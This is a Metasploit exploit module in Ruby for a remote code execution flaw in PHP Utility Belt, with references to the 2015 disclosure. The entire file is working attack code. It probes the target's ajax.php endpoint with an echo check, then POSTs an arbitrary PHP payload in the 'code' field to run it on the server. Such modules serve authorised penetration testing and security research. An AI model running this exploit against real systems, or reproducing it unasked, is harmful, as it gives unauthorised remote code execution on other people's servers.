PHP Utility Belt Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PHP Utility Belt Remote Code Execution',
      'Description'    => %q{
         This module exploits a remote code execution vulnerability in PHP Utility Belt,
         which is a set of tools for PHP developers and should not be installed in a
         production environment, since this application runs arbitrary PHP code as an
         intended functionality.
      },
      'Author'         =>
        [
          'WICS',     # initial discovery
          'Jay Turla' # msf
        ],
      'References'     =>
        [
          ['EDB', '38901'],
          ['URL', 'https://github.com/mboynes/php-utility-belt'] # Official Repo
        ],
      'DisclosureDate' => '2015-12-08',
      'License'        => MSF_LICENSE,
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'       => 2000,
          'DisableNops' => true
        },
      'Targets'        =>
        [
          ['PHP Utility Belt', {}]
        ],
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path to PHP Utility Belt', '/php-utility-belt/ajax.php'])
      ])
  end

  def check
    txt = Rex::Text.rand_text_alpha(8)
    res = http_send_command("echo #{txt};")

    if res && res.body.include?(txt)
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    http_send_command(payload.encoded)
  end

  def http_send_command(cmd)
    send_request_cgi(
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri.path),
      'vars_post' => {
        'code' => cmd
      }
    )
  end
end